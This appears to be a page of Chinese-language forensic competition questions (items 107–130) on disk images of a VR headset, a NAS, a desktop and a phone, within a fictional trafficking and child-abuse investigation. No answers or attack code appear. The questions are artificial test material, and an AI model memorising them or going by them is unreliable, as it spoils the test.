登录后可作答
107 单选题 必答 0 / 1 分 未作答
参考Quest_3_2G0YC5ZFB307D7.zip,VR 眼鏡默认安装了什么即时通讯软件 (Instant Messaging App)?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
108 填空题 必答 0 / 1 分 未作答
参考Quest_3_2G0YC5ZFB307D7.zip, 虛疑實景 (VR) 眼鏡应用程序"Gun Raiders"的版本是? (答案格式:1.2.3)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
109 判断题 必答 0 / 1 分 未作答
参考Quest_3_2G0YC5ZFB307D7.zip,VR 眼镜应用程序"Gun Raiders",可以启动设备发现或操纵蓝牙
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
110 填空题 必答 0 / 1 分 未作答
参考Quest_3_2G0YC5ZFB307D7.zip,在DCIM 文件夹内,VR 眼镜有多少视频的文件修改时间是2024年8月13日? (答案格式:请以阿拉伯数字作答)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
111 填空题 必答 0 / 1 分 未作答
参考Quest_3_2G0YC5ZFB307D7.zip,在提供的网络信息中,虛疑實景 (VR) 眼鏡'wlan0' 网络接口的 IPv4 地址是? (答案格式:123.123.123.123)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

John NAS

112 单选题 必答 0 / 1 分 未作答
除了以上John的所有设备之外,调查员还发现了一台NAS存储设备,并转交你进行分析｡ 参考 John_NAS_1.E01 和 John_NAS_2.E01,它是哪一种独立磁盘冗余阵列 (RAID)?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
113 判断题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS的容量有512GB
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
114 单选题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS的可用空间有多少?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
115 判断题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS 的文件系统格式是EXT3
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
116 单选题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS 的用户人数有多少个?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
117 单选题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该 NAS 内有多少张圖片标示 'This is a Child PORN PHOTO' ?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
118 填空题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,视频 ING_VID_8081695_10s.mp4 在什么时候放进 NAS 内? (答案格式:YYYY-MM-DD HH:MM:SS)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
119 填空题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,dcdb711a52a94fe9b6eb742a6919410D.mp4是在哪个网站下载的? (答案格式:www.abcd.com)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

John台式机

120 填空题 必答 0 / 1 分 未作答
参考John_Desktop.E01,John 访问NAS的网络地址是? (答案格式:123.123.123.123)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
121 单选题 必答 0 / 1 分 未作答
参考John_Desktop.E01, 该 NAS 的网络驱动器盘符(Network Drive Letter)是?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
122 判断题 必答 0 / 1 分 未作答
参考John_Desktop.E01, John_NAS_1.E01 和 John_NAS_2.E01, 当中的v文件夹内的视频及照片数量是相同的?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

John NAS

123 填空题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS的a文件夹中, "1.jpeg" 是由哪个网站生成? (答案格式: abcd.com)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
124 填空题 必答 0 / 1 分 未作答
参考 John_NAS_1.E01 和 John_NAS_2.E01,该NAS的c文件夹中, 有一个被删除了的照片, 它的名称是什么? (答案格式:小写英文字母,阿拉伯数字和符号'-' 混合组成, 例如: 123-abcf-456.jpg)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答

Alice手机

125 填空题 必答 0 / 1 分 未作答
根据你以上的发现,你直觉认为有无辜的人被雇为所谓的客服人员,他们的安全仍然存在疑虑。你决定再次查看Alice的手机镜像以确认你的推测。 参考Alice_Mobile.bin,于2024年8月16日,Alice使用外送程序 "Foodpanda" 于哪间店铺点餐? (答案格式:大写英文字母,例如: GOODCAFE(CENTRAL))
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
126 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,于2024年8月30日,Alice使用外送程序 "Foodpanda" 点餐用了哪种方式付款?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
127 填空题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice最后使用外卖程序 "Foodpanda" 的日期? (答案格式:YYYY-MM-DD)
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
128 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice要求安排"客务人员"逃到哪里?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
129 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,Alice曾经向“客服人员”发送一张照片, 指出上船地点的位置, 拍摄这张照片的GPS经纬值是什么?
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答
130 单选题 必答 0 / 1 分 未作答
参考Alice_Mobile.bin,根据多媒体文件的分析,于2024年8月16日,Alice曾到哪里进行拍摄? 凭着你及团队的机智及专业知识,成功锁定犯罪团伙禁锢人质的位置｡行动单位根据你的讯息,迅速展开拯救行动,赶在被押离港前成功救出人质｡
当前账号可以阅读题目，但没有作答权限。
队友动态
登录后可作答